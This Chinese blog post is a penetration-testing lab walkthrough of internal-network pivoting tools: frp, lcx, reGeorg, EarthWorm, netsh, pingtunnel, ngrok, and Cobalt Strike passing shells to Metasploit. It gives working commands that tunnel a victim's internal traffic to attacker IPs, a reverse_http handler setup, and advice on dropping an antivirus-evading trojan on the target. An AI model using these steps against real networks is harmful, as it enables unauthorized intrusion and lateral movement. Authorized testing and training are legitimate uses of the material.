内网渗透-隧道代理转发
前言
本文章介绍内网渗透中本人常用的一些隧道代理转发工具。
环境搭建
环境配置坑点:记得把内网网卡的这个√取消掉,否则直接不同网段也能直接访问到内网...
win10_hacker: 192.168.29.139
kali_hacker: 192.168.29.128
windows(目标服务器): (192.168.29.130、10.0.0.3)
winserver2003: 10.0.0.112
注:双网卡的系统没有固定用哪个,我这里使用windows,是因为我找了好几个靶机最后手头上只有win10能运行,这里也可以使用linux作为被控制机器,没有所谓,注意frp要使用对应系统的版本即可。
工具清单
可转发工具,这些是进行内网流量转出的工具
Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs
可代理工具,这些是本地进行流量转换的工具
Proxifier(windows)
SocksCap(windows)
cs(windows)
Proxychains(linux)#本文不做介绍
工具使用
注明:以下工具仅简单介绍使用方法。
Frp
项目地址:https://github.com/fatedier/frp/
服务端:kali_hacker (192.168.29.128)
客户端:windows(目标服务器): (192.168.29.130、10.0.0.3)
将客户端内网中10.0.0.112:80的流量转到服务端的6000端口中。
命令执行
kali_hacker
vim frps.toml #自行修改端口号,不要与本机的端口号冲突即可
#运行命令
./frps -c frps.toml
windows
#frpc.toml配置文件说明
serverAddr:服务端地址
serverPort:服务端配置文件中bind绑定的端口
localIP:直接指定内网中你要转的的ip即可
localPort:将localIP的哪个端口号流量转出来
remotePort:将流量转进服务端的哪个端口号
type:是表示你要进行什么类型的流量转发,一般是tcp和http(后面介绍http)
customDomains:表示当内网信息转过来的时候你希望以什么域名访问,这里需要你修改hosts文件,将ip和域名进行绑定。
#运行命令
.\frpc.exe -c frpc.toml
下面是常用的配置,配置了http、tcp(rdp,ssh)
serverAddr = "192.168.29.128"
serverPort = 7000
[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000
[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000
实验
服务端运行
修改hosts文件:对应客户端设置的域名和ip
(ip就是这台kali机器所以可以写127.0.0.1)
客户端运行
服务端访问内网
同理6000端口是内网机器10.0.0.112的3389转进来的流量
Lcx
项目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91
windows_hacker:(192.168.29.139)
windows(目标服务器): (192.168.29.130、10.0.0.3)
将windows内网中的10.0.0.112:3389流量转到windows_hacker的2222端口上,然后windows_hacker本地将2222端口转到4444端口上。
命令执行
windows_hacker
.\lcx.exe -listen 2222 4444
windows
.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389
实验
windows_hacker运行
被控的windows主机运行
windows_hacker远程桌面内网机器
reGeorg
项目地址:
https://github.com/sensepost/reGeorg
windows_hacker:(192.168.29.139)
windows (目标服务器):(192.168.29.130、10.0.0.3)
用脚本帮你将目标机器windows 上的内网信息通过socks隧道转到windows_hacker的9999端口上来。
命令执行
windows
将对应站点开发语言的脚本传到目标服务器上,能访问成功即可
(php开发的就传php的脚本,即:tunnel.nosocket.php)
windows_hacker
需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php
实验
将文件上传到目标服务器后,在hacker机器上能访问成功即可
使用python2环境运行脚本
Proxifier
现在就已经是成功转出来了,只不过需要对转出来的socks流量做一个转换,转换为本机可用的,因为我们知道内网有一个网站,需要转成http流量进行访问。
使用Proxifier进行一个本地流量转换
1.添加代理服务器
2.添加代理规则
3.localhost选择你之前配置好的代理服务器 127.0.0.1:9999
接着拿出你的浏览器访问内网ip即可了,这样就相当于将内网流量彻底转到你的机器上面来,而不是说单独哪一个端口转出来,这里随心所欲逛内网了,bp抓包都没问题。
4.访问成功
ew(EarthWorm)
项目地址:该工具已下架,很遗憾,接下来就来怀念一下这个工具吧。
(这款工具杀软基本过不了,规则已公开)
windows_hacker:(192.168.29.139)
windows(目标服务器):(192.168.29.130、10.0.0.3)
正向代理
命令执行
windows_hacker: 用proxifier正向连接ip:端口
windows:ew.exe -s ssocksd -l 1080
实验
目标服务器windows
注意1080是转出的端口,后面正向连接要用这个端口
windows_hacker
:配置好目标ip+端口就能访问了,这款工具很迅速
反向代理
命令执行
windows(目标服务器): ew.exe -s rssocks -d 192.168.29.139 -e 888
windows_hacker: ew.exe -s rcsocks -l 1080 -e 888
意思是将目标服务器的内网环境通过888端口转出到hacker的888,然后hacker将888转到1080端口
实验
hacker机器先进行监听,否则目标服务器那边会因流量转不出执行出错
接着目标服务器执行\
就能看到hacker这边有反应显示成功了
SocksCap
上面用了很多proxifier,那这里就用一下SocksCap
1.点击代理,右键新增代理
2.导入程序的方式,自己选一个接受流量的程序,我们这里是为了访问内网的web服务就选择浏览器访问即可。
3.导入后就能打开访问内网网址了
netsh
建议在目标服务器上做本地端口转发接口,个人觉得本地端口转发效果最佳。
命令执行
目标服务器:将内网的10.0.0.112:80转到本地的880,最好用该机器对外的ip地址。
netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80
pingtunnel
这里因为windows作为目标路由服务器转发内网流量的实验失败,所以改用linux。
(有成功的师傅可以留言给我看下是什么问题,学习学习~)
命令执行
这里尝试转发内网的3389端口流量出来即可,其他端口类似,这里不管是服务端还是客户端,在哪个系统运行都是一样的参数,只不过我这里服务端在windows上运行接收不到客户端发来的请求,依赖也安装了具体原因没找到,还是失败,所以只能用linux来做服务端。
(有师傅成功了可以留言告知一声~)
server
./pingtunnel -type server
client
socks类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
这里解释一下客户端命令的格式:
-type
:代表是客户端类型运行的-l
:前面省略了客户端的ip则表示本地ip,表示本地回环地址,然后:后面接端口号,需要使用127.0.0.1进行连接,而如果你指定客户端的ip就需要用本机ip来进行连接
(这里应该是还可以转发到其他ip上进行进一步利用的,这里没有尝试,有师傅尝试成功可以评论区留言教一下我。)-s
代表服务端
的域名或者ip-t
代表服务端内网某一个机器的ip与要转发出来的端口号流量
实验
实验这里转tcp流量出来,如果你要转socks的话记得配合其它工具进行转换,比如linux用proxychains,windows用proxifier或其他等等工具,具体情况具体分析。
服务端
客户端
成功转出内网server2003的3389流量
ngrok
这个ngrok是解决局域网的流量无法像公网那样能访问,但是这个内网机器需要本身能够出网的才行,相当于你在家里面的局域网流量不是每一个人都能访问得到,假如你搭建了一台机器但是想让其他地区人也能访问到不用买公网ip,这样的话ngrok是不错的选择。
在内网渗透中用来解决内网机器流量无法直接访问这类问题也是一种手段。
这里随便找一台机器即可,这个机器需能访问外网,但外网无法直接访问他
windows: 192.168.29.130
命令执行&&实验
1.先去官网注册一个账号:
https://dashboard.ngrok.com/
2.登录进去后,接着进入后下载对应系统版本的ngrok到目标机器上
3.把ngrok程序运行起来,如下图所示
运行图片
我这里将80端口映射出来
如果没有看到绿色建立成功的话,运行这条命令:ngrok http 80
。因为可能你不是第一次弄,就需要这条命令,成功后你会看到如下图所示的映射网址,直接访问这个就行。
访问网址后可能会是下图这个样子
你点击visit后就看到你映射出来的站点了,或者你映射的是其他流量就用其他方式直接链接这个地址即可。
下图可以看到我访问成功了内网中搭建的网站
ps:本人尝试将3389端口流量映射出来当远程链接,发现失败了,具体原因没找到,但测试后发现貌似只有将http这种网站映射出来效果最佳,所以要希望映射其他流量的话还是找其他工具进行实现最好。
cs
这里很简单,就是把木马丢到目标服务器上将shell转过来即可,进行内网渗透最好还是在cs上线后将权限转到msf上进行后渗透操作效果最佳。
命令执行
提前说明:服务端选择linux,客户端选择windows,你也可以自行选择不同搭配,服务端和客户端都有提供两种选择,我个人比较常用这种搭配。
服务端
安装jdk,建议安装jdk8(安装方法自行百度)
./teamserver 服务端ip 连接密码
客户端
安装jdk,建议安装jdk8(安装方法自行百度)
./cs.bat
ps: teamserver也有提供windows的teamserver.bat运行,同样cs也有提供cs.sh运行。
实验
服务端
客户端
windows双击cs.bat文件即可
1.接着客户端这边生成木马
首先创建监听器
如果没有其他代理需求就按照下面配置即可(更多用法自行去百度)
选择生成木马后门
将木马保存在一个免杀目录中,不要被杀软杀掉即可
2.将木马上传在目标服务器上执行即可,这里做实验就直接放虚拟机双击了
回到客户端看cs就发现有主机上线了,甚至能看到他的两张网卡,内外网ip
3.这里最好是和msf联动进行内网渗透效果最佳,所以这里我选择让cs增加一个会话转到msf中
先运行msfconsole
开启msf,并创建监听器
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf监听的ip)192.168.29.128
set lport (msf监听的端口)4444
4.接着添加监听器
5.右键增加会话
接着选择刚刚添加的msf监听器即可
msf已经拿到shell了,后续就是看你玩msf玩的溜不溜就完事了。
本文介绍内网搭建隧道代理的一些工具,拿到内网环境后就可以进行后渗透工作了
(当然要遵守网络安全法,在授权范围下进行)
本文来自博客园,作者:竹等寒,转载请注明原文链接。